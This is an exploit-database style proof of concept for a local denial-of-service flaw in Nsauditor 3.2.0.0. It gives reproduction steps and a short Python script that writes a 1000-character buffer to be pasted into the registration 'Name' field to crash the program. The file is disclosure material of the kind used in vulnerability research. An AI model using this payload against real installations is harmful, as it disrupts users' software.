Nsauditor 3.2.0.0 - 'Name' Denial of Service (PoC)

# Exploit Title: Nsauditor 3.2.0.0 - 'Name' Denial of Service (PoC)
# Discovery by: 0xMoHassan
# Date: 2020-04-04
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.2.0.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows XP - SP3

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks and hosts for vulnerabilities, 
# and to provide security alerts.Nsauditor network auditor checks enterprise network for all potential methods that 
# a hacker might use to attack it and create a report of potential problems that were found , Nsauditor network auditing 
# software significantly reduces the total cost of network management in enterprise environments by enabling 
# IT personnel and systems administrators gather a wide range of information from all the computers in the network without 
# installing server-side applications on these computers and create a report of potential problems that were found.


# PoC
# 1.Run the python script, it will create a new file "POC.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of POC.txt into the Field: 'Name'
# 6.click 'ok'
# 5.Magic happen :)



#!/usr/bin/env python
buff = "\x41" *500
buff += "\x41" * 500

try:
    f=open("POC.txt","w")
    print "[+] Creating %s bytes payload.." %len(buff)
    f.write(buff)
    f.close()
    print "[+] POC created!"
except:
    print "POC cannot be created"